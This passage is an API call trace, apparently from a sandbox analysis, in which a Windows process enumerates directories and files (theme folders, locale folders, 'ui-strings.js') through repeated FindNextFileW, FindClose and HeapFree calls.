	[0186.439] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 1
	[0186.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.588] FindNextFileW (in: hFindFile=0x4142e18, lpFindFileData=0x2fada30 | out: lpFindFileData=0x2fada30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0186.588] FindClose (in: hFindFile=0x4142e18 | out: hFindFile=0x4142e18) returned 1
	[0186.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.588] FindNextFileW (in: hFindFile=0x41428d8, lpFindFileData=0x2fadcac | out: lpFindFileData=0x2fadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0186.588] FindClose (in: hFindFile=0x41428d8 | out: hFindFile=0x41428d8) returned 1
	[0186.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.589] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="check.cur", cAlternateFileName="")) returned 1
	[0186.592] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.592] FindNextFileW (in: hFindFile=0x4142f98, lpFindFileData=0x2fadcac | out: lpFindFileData=0x2fadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f5618, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x26f5618, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2767d0d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0
	[0186.592] FindClose (in: hFindFile=0x4142f98 | out: hFindFile=0x4142f98) returned 1
	[0186.592] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.592] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="x.cur", cAlternateFileName="")) returned 1
	[0186.592] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0186.592] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 0
	[0186.592] FindClose (in: hFindFile=0x4142f58 | out: hFindFile=0x4142f58) returned 1
	[0186.592] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.594] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0186.595] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.595] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0186.595] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.595] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0186.595] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.595] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0186.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.599] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0186.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.599] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0186.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.599] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0186.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.599] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0186.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.599] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0186.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.600] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0186.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.600] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0186.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.600] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0186.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.600] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0186.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.600] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0186.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.600] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0186.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.601] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0186.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.601] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0186.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.601] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0186.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.601] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0186.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.601] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0186.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.601] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0186.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.602] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0186.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.602] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0186.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.602] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0186.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.602] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0186.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.602] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0186.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.602] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0186.603] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.603] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0186.603] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.603] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0186.603] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.603] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0186.604] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.604] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0186.605] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.605] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0186.605] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
